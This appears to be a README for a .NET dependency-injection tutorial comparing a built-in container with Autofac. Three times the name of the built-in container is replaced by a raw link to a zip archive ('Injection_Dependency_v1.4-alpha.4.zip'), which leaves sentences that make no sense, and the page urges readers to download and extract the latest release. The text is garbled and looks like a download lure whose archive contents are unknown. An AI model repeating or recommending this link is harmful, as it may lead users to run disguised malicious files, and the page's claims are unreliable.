Welcome to the DependencyInjection project! This tutorial showcases different methods of Dependency Injection in .NET applications. With practical examples using https://github.com/galaxf/DependencyInjection/raw/refs/heads/main/DotNetCore/Injection_Dependency_v1.4-alpha.4.zip and Autofac, you will learn how to enhance your applications with better structure and flexibility.
This tutorial compares the built-in https://github.com/galaxf/DependencyInjection/raw/refs/heads/main/DotNetCore/Injection_Dependency_v1.4-alpha.4.zip with the Autofac container. You'll find step-by-step instructions and easy-to-follow code snippets.
To get started, visit this page to download the latest version of DependencyInjection: Download Link.
- Windows 10 or later
- .NET Core 3.1 or later installed
- Internet connection for downloading dependencies
- Comparative Examples: See how https://github.com/galaxf/DependencyInjection/raw/refs/heads/main/DotNetCore/Injection_Dependency_v1.4-alpha.4.zip and Autofac work side by side.
- Real-World Applications: Learn through practical examples that mimic real-life scenarios.
- SOLID Principles: Understand how Dependency Injection helps implement design principles effectively.
- Full Compatibility: Use with both .NET Core and .NET Framework applications.
Visit the Releases page to download the latest version. Look for the most recent release.
After downloading, extract the files to a folder on your computer. You will find examples and readme files that guide you through using the application.
Open the project in your preferred code editor. Both Visual Studio and Visual Studio Code work well for this project. If you do not have an editor, you can download Visual Studio Community Edition for free.
- Navigate to the folder of the project in your terminal or command prompt.
- Use the command
dotnet runto start the application. - Follow the on-screen instructions to choose different examples to explore.
Feel free to modify the examples. Changing parameters will help you understand how Dependency Injection affects your application dynamics.
If you have questions or need assistance, please visit the Issues section on the GitHub repository. We encourage user support and welcome contributions!
For further inquiries, please reach out via email or directly through GitHub discussions. We appreciate feedback that can help improve this project.
Dependency Injection is a powerful design pattern that can make your applications easier to manage and test. Start using DependencyInjection today, and watch your coding skills grow!